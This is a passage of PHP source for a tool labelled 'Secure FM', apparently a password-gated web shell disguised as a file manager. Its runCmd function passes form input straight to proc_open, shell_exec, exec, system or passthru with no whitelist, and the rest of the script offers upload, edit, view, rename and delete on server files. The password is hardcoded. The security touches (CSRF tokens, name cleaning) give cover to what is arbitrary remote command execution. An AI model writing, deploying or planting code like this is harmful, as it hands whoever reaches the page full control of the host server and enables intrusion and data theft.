SESSION_TIMEOUT)) {
session_unset();
session_destroy();
$_SESSION['authenticated'] = false;
}
$_SESSION['last_activity'] = time();
// ===== AUTHENTICATION =====
// Ganti dengan password yang lebih kuat!
define('AUTH_PASSWORD', 'KAMPANG26889'); // CHANGE THIS!
if(!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
if(isset($_POST['password']) && $_POST['password'] === AUTH_PASSWORD) {
$_SESSION['authenticated'] = true;
$_SESSION['last_activity'] = time();
} else {
// Show login form
?>
Secure FM - Login
🔒 Secure FM
v - Enter password to access
✗ Invalid password. Please try again.
= 1073741824) return nf($b/1073741824).' GB';
if($b >= 1048576) return nf($b/1048576).' MB';
if($b >= 1024) return nf($b/1024).' KB';
return $b.' B';
}
function getOwner($p){
$u = @fileowner($p);
if($u === false) return '—';
if(function_exists('posix_getpwuid')){
$i = posix_getpwuid($u);
return $i ? hsc($i['name']) : $u;
}
return $u;
}
// ===== COMMAND EXECUTION (Tanpa Whitelist) =====
function runCmd($cmd){
// Escape command untuk keamanan dasar
$cmd = trim($cmd);
$out = ''; $err = ''; $mt = '';
if(function_exists('proc_open')){
$ds = [0=>['pipe','r'], 1=>['pipe','w'], 2=>['pipe','w']];
$p = proc_open($cmd, $ds, $pp);
if(is_resource($p)){
$out = stream_get_contents($pp[1]);
$err = stream_get_contents($pp[2]);
fclose($pp[1]); fclose($pp[2]);
proc_close($p);
$mt = 'proc_open';
}
} elseif(function_exists('shell_exec')){
$out = (string)@shell_exec($cmd.' 2>&1');
$mt = 'shell_exec';
} elseif(function_exists('exec')){
exec($cmd.' 2>&1', $lines);
$out = implode("\n", $lines);
$mt = 'exec';
} elseif(function_exists('system')){
ob_start();
system($cmd.' 2>&1');
$out = ob_get_clean();
$mt = 'system';
} elseif(function_exists('passthru')){
ob_start();
passthru($cmd.' 2>&1');
$out = ob_get_clean();
$mt = 'passthru';
} else {
return ['out' => '', 'err' => 'No command execution method available', 'mt' => 'none'];
}
return ['out' => $out, 'err' => $err, 'mt' => $mt];
}
// ===== VALIDATE FILE UPLOAD =====
function validateUpload($file) {
if($file['error'] !== UPLOAD_ERR_OK) {
$errors = [
UPLOAD_ERR_INI_SIZE => 'File too large (server limit)',
UPLOAD_ERR_FORM_SIZE => 'File too large (form limit)',
UPLOAD_ERR_PARTIAL => 'File only partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file uploaded'
];
return ['valid' => false, 'error' => $errors[$file['error']] ?? 'Unknown upload error'];
}
if($file['size'] > UPLOAD_MAX_SIZE) {
return ['valid' => false, 'error' => 'File too large. Max: ' . fmtSize(UPLOAD_MAX_SIZE)];
}
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if(!in_array($ext, ALLOWED_EXTENSIONS)) {
return ['valid' => false, 'error' => "File type '{$ext}' not allowed"];
}
return ['valid' => true];
}
// ===== GENERATE CSRF TOKEN =====
function generateCSRF() {
if(empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function verifyCSRF($token) {
return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}
// ===== PATH HANDLING =====
date_default_timezone_set(date_default_timezone_get());
$S = dirname(realpath(__FILE__));
$D = safePath(isset($_GET['d']) && $_GET['d'] !== '' ? $_GET['d'] : $S, $S);
if(!@chdir($D)){
$D = $S;
@chdir($D);
}
$sm = '';
$vr = '';
// ===== PROCESS POST REQUESTS =====
if($_SERVER['REQUEST_METHOD'] === 'POST'){
// Verify CSRF token for all POST requests except login
if(!isset($_POST['csrf_token']) || !verifyCSRF($_POST['csrf_token'])) {
$sm = '✗ Security token invalid. Please refresh page.
';
} else {
// ===== FILE UPLOAD =====
if(isset($_FILES['fileToUpload'])){
$validation = validateUpload($_FILES['fileToUpload']);
if(!$validation['valid']) {
$sm = '✗ ' . hsc($validation['error']) . '
';
} else {
// Generate safe filename
$original = basename($_FILES['fileToUpload']['name']);
$ext = pathinfo($original, PATHINFO_EXTENSION);
$name = pathinfo($original, PATHINFO_FILENAME);
// Remove dangerous characters
$clean_name = preg_replace('/[^a-zA-Z0-9._-]/', '_', $name);
$target = $D . '/' . $clean_name . '.' . $ext;
// Handle duplicate files
$counter = 1;
while(file_exists($target)) {
$target = $D . '/' . $clean_name . '_' . $counter . '.' . $ext;
$counter++;
}
$sm = move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target)
? '✓ File "' . hsc($original) . '" uploaded successfully.
'
: '✗ Upload failed. Check directory permissions.
';
}
}
// ===== CREATE FOLDER =====
elseif(!empty($_POST['folder_name'])){
$folderName = preg_replace('/[^a-zA-Z0-9._-]/', '_', $_POST['folder_name']);
if(empty($folderName)) {
$sm = '✗ Invalid folder name.
';
} else {
$nf = $D.'/'.$folderName;
$sm = !file_exists($nf) && @mkdir($nf, 0755)
? '✓ Folder "' . hsc($folderName) . '" created.
'
: '✗ Failed to create folder or already exists.
';
}
}
// ===== CREATE/EDIT FILE =====
elseif(!empty($_POST['file_name'])){
$fileName = basename($_POST['file_name']);
$fileName = preg_replace('/[^a-zA-Z0-9._-]/', '_', $fileName);
if(empty($fileName)) {
$sm = '✗ Invalid file name.
';
} else {
$nf = $D.'/'.$fileName;
$content = $_POST['file_content'];
$vb = file_exists($nf) ? 'updated' : 'created';
$sm = file_put_contents($nf, $content) !== false
? '✓ File "' . hsc($fileName) . '" ' . $vb . '.
'
: '✗ Failed to save file.
';
}
}
// ===== DELETE =====
elseif(isset($_POST['delete_file'])){
$t = $D.'/'.basename($_POST['delete_file']);
if(file_exists($t)){
$ok = is_dir($t) ? deleteDir($t) : @unlink($t);
$sm = $ok
? '✓ Item deleted successfully.
'
: '✗ Delete failed. Check permissions.
';
} else {
$sm = '✗ Item not found.
';
}
}
// ===== RENAME =====
elseif(isset($_POST['rename_item'], $_POST['old_name'], $_POST['new_name'])){
$old = $D.'/'.basename($_POST['old_name']);
$newName = basename($_POST['new_name']);
$newName = preg_replace('/[^a-zA-Z0-9._-]/', '_', $newName);
if(empty($newName)) {
$sm = '✗ Invalid new name.
';
} else {
$new = $D.'/'.$newName;
if(file_exists($old)) {
$sm = rename($old, $new)
? '✓ Renamed to "' . hsc($newName) . '".
'
: '✗ Rename failed.
';
} else {
$sm = '✗ Item not found.
';
}
}
}
// ===== COMMAND (Tanpa Whitelist) =====
elseif(isset($_POST['cmd_input'])){
$result = runCmd($_POST['cmd_input']);
if($result['mt'] === 'none') {
$vr = '✗ No command execution method available.
';
} else {
$cnt = hsc(!empty($result['err']) ? $result['err'] : $result['out']);
$lbl = !empty($result['err']) ? '⚠ Error' : '✓ Output';
$vr = '
⚡ ' . hsc($_POST['cmd_input']) . ' ' . hsc($result['mt']) . '
' . $lbl . '
' . $cnt . '
';
}
}
// ===== VIEW FILE =====
elseif(isset($_POST['view_file'])){
$f = $D.'/'.basename($_POST['view_file']);
if(file_exists($f) && is_file($f)) {
$content = file_get_contents($f);
if($content !== false) {
$vr = '
📄 ' . hsc(basename($f)) . '
' . fmtSize(filesize($f)) . '
' . hsc($content) . '
';
} else {
$vr = '✗ Could not read file.
';
}
} else {
$vr = '✗ File not found or is a directory.
';
}
}
}
}
// ===== LOGOUT =====
if(isset($_GET['logout'])) {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
// ===== SCAN DIRECTORY =====
$dirs = []; $files = [];
if(!empty($D) && is_dir($D)){
$raw = @scandir($D);
if($raw){
foreach(array_diff($raw, ['.', '..']) as $i){
$fullPath = $D.'/'.$i;
if(@is_dir($fullPath)) $dirs[] = $i;
else $files[] = $i;
}
}
}
natcasesort($dirs); natcasesort($files);
$items = array_merge(array_values($dirs), array_values($files));
$csrf_token = generateCSRF();
?>
File Manager — <?=hsc(basename($D))?>
| Name |
Owner |
Size |
Modified |
Perms |
Actions |
|
|
|
|
|
|
|